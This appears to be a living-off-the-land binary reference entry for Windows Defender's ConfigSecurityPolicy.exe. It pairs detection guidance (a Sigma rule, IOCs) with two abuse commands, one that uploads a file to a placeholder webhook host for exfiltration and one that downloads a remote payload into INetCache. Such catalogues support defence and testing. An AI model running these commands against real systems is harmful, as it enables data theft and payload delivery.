.. /ConfigSecurityPolicy.exe

Star

Paths:

• C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
• C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

Resources:

• https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads
• https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads
• https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor
• https://twitter.com/NtSetDefault/status/1302589153570365440?s=20

Acknowledgements:

• Ialle Teixeira (@NtSetDefault)
• Nir Chako (Pentera) (@C_h4ck_0)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml
• IOC: ConfigSecurityPolicy storing data into alternate data streams.
• IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
• IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
• IOC: User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"

Upload

1. Upload file, credentials or data exfiltration in general

   ConfigSecurityPolicy.exe C:\Windows\System32\calc.exe https://webhook.site/xxxxxxxxx?encodedfile

   Use case

   Upload file

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1567

Download

1. It will download a remote payload and place it in INetCache.

   ConfigSecurityPolicy.exe https://example.com/payload

   Use case

   Downloads payload from remote server

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"